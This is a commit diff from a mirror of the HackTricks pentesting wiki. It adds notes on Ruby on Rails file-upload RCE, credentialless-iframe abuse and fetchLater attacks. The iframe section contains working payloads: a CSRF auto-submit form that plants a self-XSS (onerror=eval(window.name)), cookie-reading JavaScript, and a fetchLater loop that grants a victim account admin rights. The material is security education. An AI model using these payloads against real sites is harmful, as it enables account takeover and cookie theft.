mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
add
This commit is contained in:
parent
8270fe8f97
commit
42a3c3e626
@ -435,6 +435,7 @@
|
||||
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
|
||||
- [Python](network-services-pentesting/pentesting-web/python.md)
|
||||
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
|
||||
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
|
||||
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
|
||||
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
||||
|
@ -0,0 +1,12 @@
|
||||
# Ruby Tricks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## File upload to RCE
|
||||
|
||||
As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -100,6 +100,7 @@ Example:\
|
||||
You found a **self XSS** in some private details of the account (details that **only you can set and read**). The page with the **form** to set these details is **vulnerable** to **Clickjacking** and you can **prepopulate** the **form** with the GET parameters.\
|
||||
An attacker could prepare a **Clickjacking** attack to that page **prepopulating** the **form** with the **XSS payload** and **tricking** the **user** into **Submit** the form. So, **when the form is submitted** and the values are modified, the **user will execute the XSS**.
|
||||
|
||||
|
||||
### DoubleClickjacking
|
||||
|
||||
Firstly [explained in this post](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page duing the double click so the **victim actually clicks a legit button in the victim page**.
|
||||
|
@ -144,6 +144,61 @@ The attribute's value can be left empty (`sandbox=""`) to apply all the aforemen
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
```
|
||||
|
||||
### Credentialless iframes
|
||||
|
||||
As explained in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), the `credentialless` flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.
|
||||
|
||||
This allows the iframe to access sensitive information from another iframe in the same SOP loaded in the parent page:
|
||||
|
||||
```javascript
|
||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
|
||||
- Exploit example: Self-XSS + CSRF
|
||||
|
||||
In this attack, the attacker prepares a malicious webpage with 2 iframes:
|
||||
|
||||
- An iframe that loads the victim's page with the `credentialless` flag with a CSRF that triggers a XSS (Imagin a Self-XSS in the username of the user):
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<form action="http://victim.domain/login" method="POST">
|
||||
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
|
||||
<input type="hidden" name="password" value="Super_s@fe_password" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<script>
|
||||
document.forms[0].submit();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
- Another iframe that actually has the user logged in (without the `credentialless` flag).
|
||||
|
||||
Then, from the XSS it's possible to access the other iframe as they have the same SOP and steal the cookie for example executing:
|
||||
|
||||
```javascript
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
|
||||
### fetchLater Attack
|
||||
|
||||
As indicated in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/) The API `fetchLater` allows to configure a request to be executed later (after a certain time). Therefore, this can be abused to for example, login a victim inside an attackers session (with Self-XSS), set a `fetchLater` request (to change the password of the current user for example) and logout from the attackers session. Then, the victim logs in in his own session and the `fetchLater` request will be executed, changing the password of the victim to the one set by the attacker.
|
||||
|
||||
This way even if the victim URL cannot be loaded in an iframe (due to CSP or other restrictions), the attacker can still execute a request in the victim's session.
|
||||
|
||||
|
||||
```javascript
|
||||
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
|
||||
const minute = 60000
|
||||
let arr = [minute, minute * 60, minute * 60 * 24, ...]
|
||||
for (let timeout of arr)
|
||||
fetchLater(req,{activateAfter: timeout})
|
||||
```
|
||||
|
||||
|
||||
## Iframes in SOP
|
||||
|
||||
Check the following pages:
|
||||
|
Loading…
x
Reference in New Issue
Block a user